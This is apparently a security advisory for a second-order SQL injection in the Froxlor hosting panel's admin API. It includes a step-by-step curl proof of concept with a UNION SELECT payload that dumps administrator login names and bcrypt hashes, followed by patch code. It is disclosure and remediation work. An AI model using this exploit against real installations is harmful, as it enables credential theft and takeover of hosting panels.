Summary

A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the panel_admins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.

Details

The vulnerability spans two code locations that form a store-then-trigger chain.

Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358

$ipaddress = $this->getParam('ipaddress', true, -1);
// No type enforcement or content validation on $ipaddress.
// PHP evaluates (is_array([...]) && non_empty_array > 0) as true,
// so any attacker-controlled array is JSON-encoded and stored verbatim.
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && $ipaddress > 0
    ? json_encode($ipaddress)   // ← attacker payload written to panel_admins.ip
    : -1),

The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.

Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77

if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) {
    // json_decode restores the array; implode joins elements with no casting or escaping
    $ip_where = "WHERE `id` IN (" . implode(", ", json_decode($this->getUserDetail('ip'), true)) . ")";
}
$result_stmt = Database::prepare(
    "SELECT * FROM `panel_ipsandports` " . $ip_where . ...
);
// Final SQL: SELECT * FROM panel_ipsandports WHERE `id` IN (<PAYLOAD>)

The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.

Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.

PoC

Prerequisites: Valid Froxlor admin API key with change_serversettings = 1.

Step 1 — Poison: store the UNION SELECT payload via Admins.add

curl -s -u "APIKEY:SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{
    "command": "Admins.add",
    "params": {
      "name": "x",
      "new_loginname": "eviladmin",
      "email": "x@x.local",
      "admin_password": "Passw0rd!123",
      "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]
    }
  }'

The ip column of panel_admins for eviladmin now contains:

["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -"]

Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account

No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:

http://TARGET/admin_index.php?page=ipsandports

Or directly via API:

curl -s -u "EVIL_APIKEY:EVIL_SECRET" http://TARGET/api.php \
  -H "Content-Type: application/json" \
  -d '{"command":"IpsAndPorts.listing"}'

Confirmed output from live instance (localhost:8290):

{
  "data": {
    "list": [
      {
        "ip": "admin",
        "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu"
      },
      {
        "ip": "eviladmin",
        "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S"
      }
    ]
  }
}

The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.

Minimum reproduction — two CMD single-line commands:

Step 1: poison (run once with any admin API key that has change_serversettings=1):

curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"new_loginname\":\"poc\",\"email\":\"x@x.local\",\"admin_password\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM panel_admins-- -\"]}}"

Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):

curl -su "POC_APIKEY:POC_SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"

Confirmed output from live instance (localhost:8290) — step 2 alone:

curl -su "evil_key_abc123:evil_secret_xyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"

{
  "data": {
    "list": [
      { "ip": "admin",     "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" },
      { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" }
    ]
  }
}

Impact

Type: Second-Order SQL Injection (UNION-based)

Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has change_serversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.

Consequences:

• Full credential dump — all admin and customer login names and bcrypt password hashes are extractable in a single request.
• Lateral movement — cracked hashes allow login to other admin accounts or customer accounts.
• Data exfiltration — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys.
• Privilege escalation — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.

Fix

Option A (recommended) — Integer-cast all elements before implode:

// lib/Froxlor/Api/Commands/IpsAndPorts.php:72
$ip_ids = array_map('intval', json_decode($this->getUserDetail('ip'), true));
$ip_where = "WHERE `id` IN (" . implode(", ", $ip_ids) . ")";

Option B — Validate at storage time in Admins.add / Admins.update:

// lib/Froxlor/Api/Commands/Admins.php
if (is_array($ipaddress)) {
    $ipaddress = array_filter($ipaddress, 'is_numeric');
}
'ip' => empty($ipaddress) ? "" : (is_array($ipaddress) && count($ipaddress) > 0
    ? json_encode(array_map('intval', $ipaddress))
    : -1),

Apply the same fix to the identical pattern in Domains.php:1016.

References

• GHSA-w27m-rmmf-g5w4
• froxlor/froxlor@a1eaca5
• https://github.com/froxlor/froxlor/releases/tag/2.3.8